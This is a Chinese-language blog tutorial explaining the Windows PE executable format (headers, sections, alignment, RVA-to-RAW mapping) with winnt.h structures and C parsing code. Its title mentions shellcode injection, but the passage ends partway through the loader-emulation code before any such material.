• PE文件结构从初识到简单shellcode注入


    本文首发自:https://tttang.com/archive/1553/

    前言

    ​ 将自己学习的PE文件结构进行总结形成文章这件事情,一直躺在我的Notion TodoList里,但是一直是未完成的状态哈哈,拖了那么久也该让它状态变成已完成了。

    PE文件简介

    ​ PE文件的全称是Portable Executable,意为可移植的可执行的文件,常见的EXE、DLL、OCX、SYS、COM都是PE文件,PE文件是微软Windows操作系统上的程序文件(可能是间接被执行,如DLL)。

    ​ 上面是百度复制来的,我个人理解的PE文件结构其实就类似于CTF Misc题中的jpg、png、zip文件格式类似,当你了解了这些文件格式后,你可以通过修改二进制数据来改图片宽高等属性,同样的,当你了解Windows PE文件结构后,你也可以修改PE文件的一些属性,比如修改程序入口点甚至修改程序运行逻辑。

    文件对齐/内存对齐

    ​ 一个PE文件的结构有两种表现方式,一种是“躺”在硬盘里的时候,也就是程序未执行的时候,一种是你调用或者双击运行程序,程序载入内存后,两种表现方式其实结构大体相同,只是内部某个部分之间的间隔稍有不同,如下图:

    ​ 如上图可见,当PE文件加载到内存中后,DOS头到最后一个节区头的部分是一致的,而之后节区与节区之间的间隔,内存中的间隔会更大。但是,这种情况是不一定的,也有硬盘中和内存中的间隔是一致,这取决于PE文件结构中的某一个属性的设置。

    ​ 那么为什么需要这样的操作呢?直接把文件按照原样加载到内存中不是更方便吗?这其实是由于操作系统内存对齐所产生的一个操作,具体内存对齐可以通过百度百科了解:https://baike.baidu.com/item/内存对齐/9537460?fr=aladdin。内存对齐简单点说就是以一块内存一块内存来读取内存中的数据,而不是根据实际大小来读取,这样省去计算实际大小这个操作就提升了内存读取的速度。但是如果直接按照内存对齐的结构把PE文件存储到硬盘中,实际上有一大部分由于内存对齐而加进来的空间是无用的。在以前的计算机中,硬盘其实都不大,为了剩下这部分空间,所以就多了一个“裁剪”多余空间的操作,把对齐值调小一点,尽量减小无用的空间占用硬盘资源。而现在有些编译器的内存对齐和文件对齐是一样的了,那是因为如今的硬盘资源已经很充足,不需要废时间来省下这点空间了。

    结构体

    ​ 结构体是由一批数据组合而成的结构型数据。组成结构型数据的每个数据称为结构型数据的“成员” ,其描述了一块内存区间的大小及解释意义。

    ​ 没错,上面这段我又是百度复制的。其实应该有一部分人在学习编程的时候,遇到结构体都不知道有啥大用,难道它只能用来做做编程练习吗?那肯定是不可能。就如百度百科解释所说的,结构体描述了一块内存区间的大小及解释意义,我们想象一下,当我们通过编程语言把PE文件读入内存中后,要怎么分别把DOS头、DOS存根等等每一块内容取出来呢?当然,通过类似于Python的切片来做是可以实现的,但是总感觉还是有点麻烦。这时候就需要用到结构体了,winnt.h头文件中定义了DOS头结构体指针类型PIMAGE_DOS_HEADER,当我们需要取DOS头数据的时候,就可以直接把内存中整块PE文件数据强制转换成PIMAGE_DOS_HEADER类型,这时候程序把PE文件数据作为PIMAGE_DOS_HEADER进行解析,你在C语言中就可以很轻松的通过pe_data->e_lfanew来很轻松的获取到DOS头中的某一个数据了。

    ​ 可能这样讲还是有点抽象,我们再分细一点来说。首先结构体其实类似于数组,也是一段连续的内存块,只不过他内存块中每一块的大小由结构体成员决定。一个int类型数组,我们假设一个单元格是一个字节,一个int类型元素占四个字节,在内存中分布如下图(实际int在内存中大部分操作系统是小端序存储,所以数据是反过来存的,参考:https://www.jianshu.com/p/f29873769488):

    ​ 我们定义一个结构体

    struct person {
        int id;
        char name[6];
    };
    person p;
    p.id = 1;
    strcpy(p.name, "gcker");
    

    ​ person结构体它在内存中分布是这样的(int是小端序存储,char是大端序存储):

    ​ 当我们通过p.name来取数据的时候,实际就是从一块内存数据为01 00 00 00 67 63 6b 65 00中,从67开始取数据。再做个有趣的实验,代码如下:

    char data[] = { 0x01, 0x00, 0x00, 0x00, 0x67, 0x63, 0x6b, 0x65, 0x72, 0x00 };
    person *p_person = (person*)data;
    printf("%s", p_person->name);
    // 输出:gcker
    

    ​ 你们能理解我的意思吗?通过上述这个实验,我们转换一下,读取的PE文件数据是data,我们把data强制转换成PIMAGE_DOS_HEADER,那么是不是就可以解析出DOS头的数据了。PIMAGE_DOS_HEADER的定义如下:

    typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
        WORD   e_magic;                     // Magic number,“MZ”标记,PE文件的开始,就是我们以十六进制方式打开PE文件时看到的开头那个MZ
        WORD   e_cblp;                      // Bytes on last page of file
        WORD   e_cp;                        // Pages in file
        WORD   e_crlc;                      // Relocations
        WORD   e_cparhdr;                   // Size of header in paragraphs
        WORD   e_minalloc;                  // Minimum extra paragraphs needed
        WORD   e_maxalloc;                  // Maximum extra paragraphs needed
        WORD   e_ss;                        // Initial (relative) SS value
        WORD   e_sp;                        // Initial SP value
        WORD   e_csum;                      // Checksum
        WORD   e_ip;                        // Initial IP value
        WORD   e_cs;                        // Initial (relative) CS value
        WORD   e_lfarlc;                    // File address of relocation table
        WORD   e_ovno;                      // Overlay number
        WORD   e_res[4];                    // Reserved words
        WORD   e_oemid;                     // OEM identifier (for e_oeminfo)
        WORD   e_oeminfo;                   // OEM information; e_oemid specific
        WORD   e_res2[10];                  // Reserved words
        LONG   e_lfanew;                    // File address of new exe header,PE头相对于文件的偏移,用于定位PE头
      } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
    

    ​ 我们通过HxD打开一个PE文件,通过下图来展示把PE文件数据强制转换成PIMAGE_DOS_HEADER会有什么效果,看下图:

    ​ 看下实现代码:

    FILE* pf = fopen("C:\\Users\\gcker\\Desktop\\putty.exe", "rb");
    char data[1024] = { 0 };
    fread(data, 1024, 1, pf);
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)data;
    printf("%x", pDosHeader->e_magic);
    

    ​ 我们通过上述的方式,就可以成功解析PE文件的DOS头了,这就是我挑出结构体来讲一讲的理由,它可以让我们在编程中很方便的去解析任意文件的格式(在已经有定义好的结构体条件下)。

    ImageBase/VA/RVA/RAW

    ​ 在正式学习PE文件结构前,还需要了解几个名词。

    ImageBase

    ​ 基地址,PE文件的优先装载地址。比如,如果该值是400000h,PE装载器将尝试把文件装到虚拟地址空间的400000h处。字眼"优先"表示若该地址区域已被其他模块占用,那PE装载器会选用其他空闲地址。简而言之,就是指定PE文件载入内存时,优先尝试载入的内存起始地址。

    VA

    ​ VA (virtual Address) 虚拟地址的意思,其实就是PE文件启动并载入内存后,某一块数据在内存中的地址。

    RVA

    ​ RVA(relative Virtual Address) 相对虚拟地址偏移,RVA = 虚拟地址(VA) - 基地址(ImageBase),是相对于基地址的偏移,即RVA是虚拟内存中用来定位某个特定位置的地址,该地址的值是这个特定位置距离模块基地址的偏移量。有点类似于数组下标,数组内存中起始地址就是基地址,下标就是偏移量。

    RAW

    ​ 文件偏移地址(或物理地址),当PE文件存储在磁盘上时,各个数据的地址。一般我们用HxD工具打开一个PE文件后左边的Offset一栏就是。

    PE文件结构

    ​ 按我的理解,学习PE文件结构其实就是理解它每一块组成部分中各个成员的作用。通过本文第二部分内容的图可知,PE文件结构从上到下共分为DOS头、DOS存根、NT头、N个节区头、N个节区(有几个节区头就对应几个节区)。这里面除了DOS存根外,所有的内容在winnt.h中都定义了对应的结构体指针类型。

    DOS头

    typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
        WORD   e_magic;                     // Magic number,"MZ标记" 用于判断是否为可执行文件。
        WORD   e_cblp;                      // Bytes on last page of file
        WORD   e_cp;                        // Pages in file
        WORD   e_crlc;                      // Relocations
        WORD   e_cparhdr;                   // Size of header in paragraphs
        WORD   e_minalloc;                  // Minimum extra paragraphs needed
        WORD   e_maxalloc;                  // Maximum extra paragraphs needed
        WORD   e_ss;                        // Initial (relative) SS value
        WORD   e_sp;                        // Initial SP value
        WORD   e_csum;                      // Checksum
        WORD   e_ip;                        // Initial IP value
        WORD   e_cs;                        // Initial (relative) CS value
        WORD   e_lfarlc;                    // File address of relocation table
        WORD   e_ovno;                      // Overlay number
        WORD   e_res[4];                    // Reserved words
        WORD   e_oemid;                     // OEM identifier (for e_oeminfo)
        WORD   e_oeminfo;                   // OEM information; e_oemid specific
        WORD   e_res2[10];                  // Reserved words
        LONG   e_lfanew;                    // File address of new exe header,NT头相对于文件的偏移,用于定位PE文件。
      } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
    

    DOS存根

    ​ 一个PE文件中,DOS头下,NT头上的内容就是DOS存根。它是一个可选项,且大小不固定,即使没有DOS存根文件也能正常运行。DOS存根由代码和数据混合而成。

    ​ 如上图,文件Offset 0x40~0x4D这篇区域为16位的汇编指令,在32位及以上操作系统运行程序时不会执行该指令。在DOS环境中或使用DOS调试器运行它时,会执行这段指令(因为如DOS等16位操作系统不认识PE文件,识别成DOS EXE文件,所以执行这一段)。

    ​ 在WindowsXP下,运行命令debug notepad.exe启动notepad.exe,在出现的光标位置输入“u”指令,会出现16位汇编指令。

    ​ 大概意思就是会在终端中输出字符串“This program cannot be run in DOS mode”后就退出程序,换言之这里DOS存根的作用就是当32位程序在16位DOS下运行时,就会提示“This program cannot be run in DOS mode”后就退出程序,作为对MS-DOS的兼容。

    NT头

    ​ IMAGE_NT_HEADER结构体由3个成员组成,其中后面两个成员为结构体,属于结构体内嵌套结构体。

    typedef struct _IMAGE_NT_HEADERS {
        DWORD Signature;						// 签名,值一直为50450000h(“PE”00)
        IMAGE_FILE_HEADER FileHeader;			// 文件头地址
        IMAGE_OPTIONAL_HEADER32 OptionalHeader; // 可选头地址
    } IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
    

    文件头

    typedef struct _IMAGE_FILE_HEADER {
        WORD    Machine;						// 程序运行的CPU型号:0x0 任何处理器/0x14C 386及后续处理器
        WORD    NumberOfSections;				// 文件中存在的节的总数,如果要新增节或者合并节 就要修改这个值.
        DWORD   TimeDateStamp;					// 时间戳:文件的创建时间(和操作系统的创建时间无关),编译器填写的.
        DWORD   PointerToSymbolTable;
        DWORD   NumberOfSymbols;
        WORD    SizeOfOptionalHeader;			// 可选PE头的大小,32位PE文件默认E0h 64位PE文件默认为F0h  大小可以自定义.
        WORD    Characteristics;				// 每个位有不同的含义,可执行文件值为10F 即0 1 2 3 8位置1 
    } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
    

    ​ IMAGE_FILE_HEADER结构体有以下四个重要成员,若它们设置不正确,将导致文件无法正常运行。

    Machine

    ​ 每个CPU都拥有唯一的Machine码,兼容32位Intel x86芯片的Machine码为14C,其余是定义在winnt.h文件中的Machine码。

    #define IMAGE_FILE_MACHINE_UNKNOWN           0
    #define IMAGE_FILE_MACHINE_I386              0x014c  // Intel 386.
    #define IMAGE_FILE_MACHINE_R3000             0x0162  // MIPS little-endian, 0x160 big-endian
    #define IMAGE_FILE_MACHINE_R4000             0x0166  // MIPS little-endian
    #define IMAGE_FILE_MACHINE_R10000            0x0168  // MIPS little-endian
    #define IMAGE_FILE_MACHINE_WCEMIPSV2         0x0169  // MIPS little-endian WCE v2
    #define IMAGE_FILE_MACHINE_ALPHA             0x0184  // Alpha_AXP
    #define IMAGE_FILE_MACHINE_SH3               0x01a2  // SH3 little-endian
    #define IMAGE_FILE_MACHINE_SH3DSP            0x01a3
    #define IMAGE_FILE_MACHINE_SH3E              0x01a4  // SH3E little-endian
    #define IMAGE_FILE_MACHINE_SH4               0x01a6  // SH4 little-endian
    #define IMAGE_FILE_MACHINE_SH5               0x01a8  // SH5
    #define IMAGE_FILE_MACHINE_ARM               0x01c0  // ARM Little-Endian
    #define IMAGE_FILE_MACHINE_THUMB             0x01c2
    #define IMAGE_FILE_MACHINE_AM33              0x01d3
    #define IMAGE_FILE_MACHINE_POWERPC           0x01F0  // IBM PowerPC Little-Endian
    #define IMAGE_FILE_MACHINE_POWERPCFP         0x01f1
    #define IMAGE_FILE_MACHINE_IA64              0x0200  // Intel 64
    #define IMAGE_FILE_MACHINE_MIPS16            0x0266  // MIPS
    #define IMAGE_FILE_MACHINE_ALPHA64           0x0284  // ALPHA64
    #define IMAGE_FILE_MACHINE_MIPSFPU           0x0366  // MIPS
    #define IMAGE_FILE_MACHINE_MIPSFPU16         0x0466  // MIPS
    #define IMAGE_FILE_MACHINE_AXP64             IMAGE_FILE_MACHINE_ALPHA64
    #define IMAGE_FILE_MACHINE_TRICORE           0x0520  // Infineon
    #define IMAGE_FILE_MACHINE_CEF               0x0CEF
    #define IMAGE_FILE_MACHINE_EBC               0x0EBC  // EFI Byte Code
    #define IMAGE_FILE_MACHINE_AMD64             0x8664  // AMD64 (K8)
    #define IMAGE_FILE_MACHINE_M32R              0x9041  // M32R little-endian
    #define IMAGE_FILE_MACHINE_CEE               0xC0EE
    

    NumberOfSections

    ​ NumberOfSections用来指出文件中存在的节区数量,该值一定要大于0,且当定义的节区数量与实际节区不同时,将发生运行错误。

    SizeOfOptionalHeader

    ​ SizeOfOptionalHeader用于指定IMAGE_OPTIONAL_HEADER32(可选PE头)结构体的长度,IMAGE_OPTIONAL_HEADER32结构体由C语言编写,故其大小已经确定。但是Windows的PE装载器需要查看IMAGE_FILE_HEADER的SizeOfOptionalHeader值来确定IMAGE_OPTIONAL_HEADER32的大小。

    ​ PE32+(64位程序)使用IMAGE_OPTIONAL_HEADER64结构体,与IMAGE_OPTIONAL_HEADER32结构体长度不同,所以需要在SizeOfOptionalHeader中指明可选结构体大小。

    Characteristics

    ​ 该字段用于标识文件的属性,文件是否是可运行状态、是否为DLL文件等信息。所有标识定义在winnt.h中。

    #define IMAGE_FILE_RELOCS_STRIPPED           0x0001  // Relocation info stripped from file.
    #define IMAGE_FILE_EXECUTABLE_IMAGE          0x0002  // File is executable  (i.e. no unresolved externel references).
    #define IMAGE_FILE_LINE_NUMS_STRIPPED        0x0004  // Line nunbers stripped from file.
    #define IMAGE_FILE_LOCAL_SYMS_STRIPPED       0x0008  // Local symbols stripped from file.
    #define IMAGE_FILE_AGGRESIVE_WS_TRIM         0x0010  // Agressively trim working set
    #define IMAGE_FILE_LARGE_ADDRESS_AWARE       0x0020  // App can handle >2gb addresses
    #define IMAGE_FILE_BYTES_REVERSED_LO         0x0080  // Bytes of machine word are reversed.
    #define IMAGE_FILE_32BIT_MACHINE             0x0100  // 32 bit word machine.
    #define IMAGE_FILE_DEBUG_STRIPPED            0x0200  // Debugging info stripped from file in .DBG file
    #define IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP   0x0400  // If Image is on removable media, copy and run from the swap file.
    #define IMAGE_FILE_NET_RUN_FROM_SWAP         0x0800  // If Image is on Net, copy and run from the swap file.
    #define IMAGE_FILE_SYSTEM                    0x1000  // System File.
    #define IMAGE_FILE_DLL                       0x2000  // File is a DLL.
    #define IMAGE_FILE_UP_SYSTEM_ONLY            0x4000  // File should only be run on a UP machine
    #define IMAGE_FILE_BYTES_REVERSED_HI         0x8000  // Bytes of machine word are reversed.
    

    可选PE头

    typedef struct _IMAGE_OPTIONAL_HEADER {
        WORD    Magic;						// 说明文件类型:10B 32位下的PE文件     20B 64位下的PE文件
        BYTE    MajorLinkerVersion;
        BYTE    MinorLinkerVersion;
        DWORD   SizeOfCode;					// 所有代码节的和,必须是FileAlignment的整数倍 编译器填的
        DWORD   SizeOfInitializedData;		// 已初始化数据大小的和,必须是FileAlignment的整数倍 编译器填的
        DWORD   SizeOfUninitializedData;	// 未初始化数据大小的和,必须是FileAlignment的整数倍 编译器填的
        DWORD   AddressOfEntryPoint;		// 程序入口
        DWORD   BaseOfCode;					// 代码开始的基址,编译器填的
        DWORD   BaseOfData;					// 数据开始的基址,编译器填的
        DWORD   ImageBase;					// 内存镜像基址
        DWORD   SectionAlignment;			// 内存对齐
        DWORD   FileAlignment;				// 文件对齐(硬盘对齐)
        WORD    MajorOperatingSystemVersion;
        WORD    MinorOperatingSystemVersion;
        WORD    MajorImageVersion;
        WORD    MinorImageVersion;
        WORD    MajorSubsystemVersion;
        WORD    MinorSubsystemVersion;
        DWORD   Win32VersionValue;
        DWORD   SizeOfImage;				// 内存中整个PE文件的映射的尺寸,可以比实际的值大,但必须是SectionAlignment的整数倍
        DWORD   SizeOfHeaders;				// 所有头+节表按照文件对齐后的大小,否则加载会出错
        DWORD   CheckSum;					// 校验和,一些系统文件有要求.用来判断文件是否被修改.
        WORD    Subsystem;
        WORD    DllCharacteristics;
        DWORD   SizeOfStackReserve;			// 初始化时保留的堆栈大小
        DWORD   SizeOfStackCommit;			// 初始化时实际提交的大小 
        DWORD   SizeOfHeapReserve;			// 初始化时保留的堆大小 
        DWORD   SizeOfHeapCommit;			// 初始化时实践提交的大小 
        DWORD   LoaderFlags;
        DWORD   NumberOfRvaAndSizes;		// 目录项数目
        IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
    } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
    

    ​ 在IMAGE_OPTIONAL_HEADER32结构体中需要关注下列成员,这些值设置错误会导致文件无法正常运行。

    Magic

    • IMAGE_OPTIONAL_HEADER32时值为10B
    • IMAGE_OPTIONAL_HEADER64时值为20B

    AddressOfEntryPoint

    ​ AddressOfEntryPoint持有EP(EntryPoint,程序入口点)的RVA值。该值指出程序最先执行的代码起始地址,相当重要。

    ImageBase

    ​ 每个程序启动后都有一块独立的虚拟内存空间,进程虚拟内存的范围是00xFFFFFFFF(32位系统),PE文件被加载到如此大的内存中时,ImageBase指出文件的优先装入地址。EXE、DLL文件被装在到用户内存的00x7FFFFFFF中,SYS文件被载入内核内存的0x80000000~0xFFFFFFFF中。

    ​ 一般而言,开发工具(VB、VC++、Delphi)创建好EXE文件后,其ImageBase的值为0x00400000,DLL文件的ImageBase值为0x10000000(也可以设置为其他)。

    ​ 执行PE文件时,PE装载器先创建进程,再将文件载入内存,然后把EIP寄存器(EIP寄存器:用于告诉CPU需要执行的下一条指令的位置)的值设置为ImageBase+AddressOfEntryPoint。

    SectionAlignment、FIleAlignment

    FileAlignment:指定了节区块在磁盘文件中的最小单位

    SectionAlignment:指定了节区在内存中的最小单位

    ​ FileAlignment和SectionAlignment的作用就是我们在本文“文件对齐/内存对齐”中讲到的,节区与节区之间的间隔,之所以会有间隔就是因为PE文件的节区在硬盘中和在内存中的大小不一致导致的。一个文件的FileAlignment和SectionAlignment的值可能相同或不同。PE文件在磁盘或内存中时,节区大小一定是FileAlignment或SectionAlignment值的整数倍。

    SizeOfImage

    ​ 内存中整个PE文件的尺寸,可比实际的值大,但必须是SectionAlignment的整数倍。

    SizeOfHeaders

    ​ SizeOfHeaders用来指出整个PE头的大小,该值也必须是FileAlignment的整数倍。第一节区所在的位置与SizeOfHeaders距文件开始偏移的量相同,所以可以证明SizeOfHeaders就是DOS头、DOS存根(如有)、NT头、所有节区头加起来的大小。

    Subsystem

    ​ Subsystem值用来区分系统驱动文件(.sys)与普通的可执行文件(.exe、*.dll),可以有如下值如下:

    #define IMAGE_SUBSYSTEM_UNKNOWN                  0   // Unknown subsystem.
    #define IMAGE_SUBSYSTEM_NATIVE                   1   // Image doesn't require a subsystem.
    #define IMAGE_SUBSYSTEM_WINDOWS_GUI              2   // Image runs in the Windows GUI subsystem.
    #define IMAGE_SUBSYSTEM_WINDOWS_CUI              3   // Image runs in the Windows character subsystem.
    #define IMAGE_SUBSYSTEM_OS2_CUI                  5   // image runs in the OS/2 character subsystem.
    #define IMAGE_SUBSYSTEM_POSIX_CUI                7   // image runs in the Posix character subsystem.
    #define IMAGE_SUBSYSTEM_NATIVE_WINDOWS           8   // image is a native Win9x driver.
    #define IMAGE_SUBSYSTEM_WINDOWS_CE_GUI           9   // Image runs in the Windows CE subsystem.
    #define IMAGE_SUBSYSTEM_EFI_APPLICATION          10  //
    #define IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER  11  //
    #define IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER       12  //
    #define IMAGE_SUBSYSTEM_EFI_ROM                  13
    #define IMAGE_SUBSYSTEM_XBOX                     14
    #define IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION 16
    #define IMAGE_SUBSYSTEM_XBOX_CODE_CATALOG        17
    

    DataDirectory

    ​ 数据目录表,是一个结构体数组。数组里的每个元素对应一个数据表。通常有16个。数据目录表存放着例如导入表、导出表等数据。

    #define IMAGE_DIRECTORY_ENTRY_EXPORT          0   // Export Directory
    #define IMAGE_DIRECTORY_ENTRY_IMPORT          1   // Import Directory
    #define IMAGE_DIRECTORY_ENTRY_RESOURCE        2   // Resource Directory
    #define IMAGE_DIRECTORY_ENTRY_EXCEPTION       3   // Exception Directory
    #define IMAGE_DIRECTORY_ENTRY_SECURITY        4   // Security Directory
    #define IMAGE_DIRECTORY_ENTRY_BASERELOC       5   // Base Relocation Table
    #define IMAGE_DIRECTORY_ENTRY_DEBUG           6   // Debug Directory
    //      IMAGE_DIRECTORY_ENTRY_COPYRIGHT       7   // (X86 usage)
    #define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE    7   // Architecture Specific Data
    #define IMAGE_DIRECTORY_ENTRY_GLOBALPTR       8   // RVA of GP
    #define IMAGE_DIRECTORY_ENTRY_TLS             9   // TLS Directory
    #define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG    10   // Load Configuration Directory
    #define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT   11   // Bound Import Directory in headers
    #define IMAGE_DIRECTORY_ENTRY_IAT            12   // Import Address Table
    #define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT   13   // Delay Load Import Descriptors
    #define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14   // COM Runtime descriptor
    
    DataDirectory[0] = IMAGE_DIRECTORY_ENTRY_EXPORT             // Export Directory
    DataDirectory[1] = IMAGE_DIRECTORY_ENTRY_IMPORT             // Import Directory
    DataDirectory[2] = IMAGE_DIRECTORY_ENTRY_RESOURCE           // Resource Directory
    DataDirectory[3] = IMAGE_DIRECTORY_ENTRY_EXCEPTION          // Exception Directory
    DataDirectory[4] = IMAGE_DIRECTORY_ENTRY_SECURITY           // Security Directory
    DataDirectory[5] = IMAGE_DIRECTORY_ENTRY_BASERELOC          // Base Relocation Table
    DataDirectory[6] = IMAGE_DIRECTORY_ENTRY_DEBUG              // Debug Directory
    //      IMAGE_DIRECTORY_ENTRY_COPYRIGHT          // (X86 usage)
    DataDirectory[7] = IMAGE_DIRECTORY_ENTRY_ARCHITECTURE       // Architecture Specific Data
    DataDirectory[8] = IMAGE_DIRECTORY_ENTRY_GLOBALPTR          // RVA of GP
    DataDirectory[9] = IMAGE_DIRECTORY_ENTRY_TLS                // TLS Directory
    DataDirectory[10] = IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG       // Load Configuration Directory
    DataDirectory[11] = IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT      // Bound Import Directory in headers
    DataDirectory[12] = IMAGE_DIRECTORY_ENTRY_IAT               // Import Address Table
    DataDirectory[13] = IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT      // Delay Load Import Descriptors
    DataDirectory[14] = IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR    // COM Runtime descriptor
    

    NumberOfRvaAndSizes

    ​ 用来指定DataDirectory(IMAGE_OPTIONAL_HEADER32结构体最后一个成员)数组的个数。虽然结构体中明确定义了数组个数为IMAGE_NUMBEROF_DIRECTORY_ENTRIES(16个),但是PE装载器用过查看NumberOfRvaAndSizes值来识别数组大小,换言之,数组大小也可能不是16。

    节区头

    ​ PE文件格式的设计者把具有相似属性的数据统一保存在一个被称为“节区”的地方,然后需要把各节区属性记录在节区头中(节区属性中有文件/内存的起始位置、大小、访问权限等),常见节区有code、text、data、resource等。

    ​ 把PE文件创建成多个节区结构的好处是,可以保证程序的安全性。若把code与data放在一个节区中相互纠缠很容易引发安全问题,即使忽略过程中的烦琐。假设向字符串data写入数据时,由于某个原因导致溢出,那么其下的code就会被覆盖,应用程序就会崩溃。

    类别 访问权限
    code节区 执行、读取权限
    data节区 非执行、读写权限
    resource节区 非执行、读取权限

    ​ 节区头是由多个IMAGE_SECTION_HEADER结构体组成的,每个结构体对应一个节区头,每个节区头描述一个节区。

    #define IMAGE_SIZEOF_SHORT_NAME 8
    typedef struct _IMAGE_SECTION_HEADER {
        BYTE    Name[IMAGE_SIZEOF_SHORT_NAME];	// 8个字节的节区名称,一般以\0结尾,如无\0默认取八个字节
        union {									// 
                DWORD   PhysicalAddress;
                DWORD   VirtualSize;			// 节区的真实尺寸,是该节在没有对齐前的真实尺寸,该值可以不准确
        } Misc;
        DWORD   VirtualAddress;					// 节区的 RVA 地址(在内存中的偏移地址)
        DWORD   SizeOfRawData;					// 在文件中对齐后的尺寸(当代码中有char ch[1000];即未初始化的数组时,会出现Misc->VirtualSize比这个值大的情况,因为char ch[1000];未初始化在文件中是没有分配的,等到载入内存才会开辟这个空间)
        DWORD   PointerToRawData;				// 节在文件中的偏移量
        DWORD   PointerToRelocations;			// 在OBJ文件中使用,重定位的偏移
        DWORD   PointerToLinenumbers;			// 行号表的偏移(供调试使用地)
        WORD    NumberOfRelocations;			// 在OBJ文件中使用,重定位项数目
        WORD    NumberOfLinenumbers;			// 行号表中行号的数目
        DWORD   Characteristics;				// 节属性如可读,可写,可执行等
    } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
    

    Characteristics

    ​ 节区头结构体最后一个成员Characteristics,有以下这些可选项:

    //位数从低到高
    #define IMAGE_SCN_SCALE_INDEX                0x00000001  //第1位 Tls index is scaled
    #define IMAGE_SCN_CNT_CODE                   0x00000020  //第6位 Section contains code.
    #define IMAGE_SCN_CNT_INITIALIZED_DATA       0x00000040  //第7位 Section contains initialized data.
    #define IMAGE_SCN_CNT_UNINITIALIZED_DATA     0x00000080  //第8位 Section contains uninitialized data.
    #define IMAGE_SCN_LNK_INFO                   0x00000200  //第10位 Section contains comments or some other type of information.
    #define IMAGE_SCN_LNK_REMOVE                 0x00000800  //第12位 Section contents will not become part of image.
    #define IMAGE_SCN_LNK_COMDAT                 0x00001000  //第13位 Section contents comdat.
    #define IMAGE_SCN_NO_DEFER_SPEC_EXC          0x00004000  //第15位 Reset speculative exceptions handling bits in the TLB entries for this section.
    #define IMAGE_SCN_GPREL                      0x00008000  //第16位 Section content can be accessed relative to GP
    #define IMAGE_SCN_LNK_NRELOC_OVFL            0x01000000  //第25位 Section contains extended relocations.
    #define IMAGE_SCN_MEM_DISCARDABLE            0x02000000  //第26位 Section can be discarded.
    #define IMAGE_SCN_MEM_NOT_CACHED             0x04000000  //第27位 Section is not cachable.
    #define IMAGE_SCN_MEM_NOT_PAGED              0x08000000  //第28位 Section is not pageable.
    #define IMAGE_SCN_MEM_SHARED                 0x10000000  //第29位 Section is shareable.
    #define IMAGE_SCN_MEM_EXECUTE                0x20000000  //第30位 Section is executable.
    #define IMAGE_SCN_MEM_READ                   0x40000000  //第31位 Section is readable.
    #define IMAGE_SCN_MEM_WRITE                  0x80000000  //第32位 Section is writeable.
    

    Name

    ​ Name成员不像C语言中的字符串一样以NULL结束,并且没有显示只能是ASCII值。PE规范未明确规定节区的Name,所以可以Name可以是任意值,甚至是NULL值。所以节区Name仅供参考,不能保证其百分百地被用作某种信息。

    RVA to RAW

    ​ 我们通过本文“文件对齐/内存对齐”部分可知,PE文件在硬盘上和内存中节区部分有个“变大”的过程,这个过程一般称为“拉伸”。每个节区都要能准确完成内存地址与文件偏移之间的映射,这种映射一般称为RVA to RAW。

    ​ 根据IMAGE_SECTION_HEADER结构体,换算公式如下:

    RAW - PointerToRawData = RVA - VirtualAddress
    

    ​ 进而得到:

    RAW = RVA - VirtualAddress + PointerToRawData
    

    ​ 注意,PE头中表示地址时不使用VA,而是RVA,比如节区头成员 VirtualAddress 是内存中节区头的起始地址(RVA)。

    C语言解析PE文件

    ​ 看了一堆理论可能会有点懵,我们通过实际练习来加深一下理解,这里我们通过C语言模拟PE装载器,完成PE文件从硬盘到内存中的节区拉伸过程,然后再从内存还原到硬盘中,实现一个困难版的程序复制粘贴。

    ​ 在编码过程中,可以找一个PE文件结构解析的工具来帮助你们调试,测试自己解析出来的数据正不正确,比如PE-Hacker等,吾爱破解或者其他地方都很容易找到。

    拉伸

    ​ 模拟PE文件从文件装载到内存中拉伸的过程。

    char* fileBuffertoImageBuffer(char *fileBuffer) {
    	// 解析PE文件
    	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
    	PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(fileBuffer + pDosHeader->e_lfanew);	// DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
    	PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;	// NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
    	PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
    	PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
    	if (ppSectionHeader == NULL) {
    		printf("内存分配失败!");
    		return NULL;
    	}
    	ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)(pOptionalHeader + 1);
    	if (pFileHeader->NumberOfSections > 1) {
    		for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
    			ppSectionHeader[i] = (PIMAGE_SECTION_HEADER)(ppSectionHeader[0] + i);
    		}
    	}
    
    
    	// 新建一块区域用于存放拉伸后的PE文件
    	char* imageBuffer = (char*)malloc(pOptionalHeader->SizeOfImage);
    	if (imageBuffer == NULL) {
    		printf("内存分配失败!");
    		return NULL;
    	}
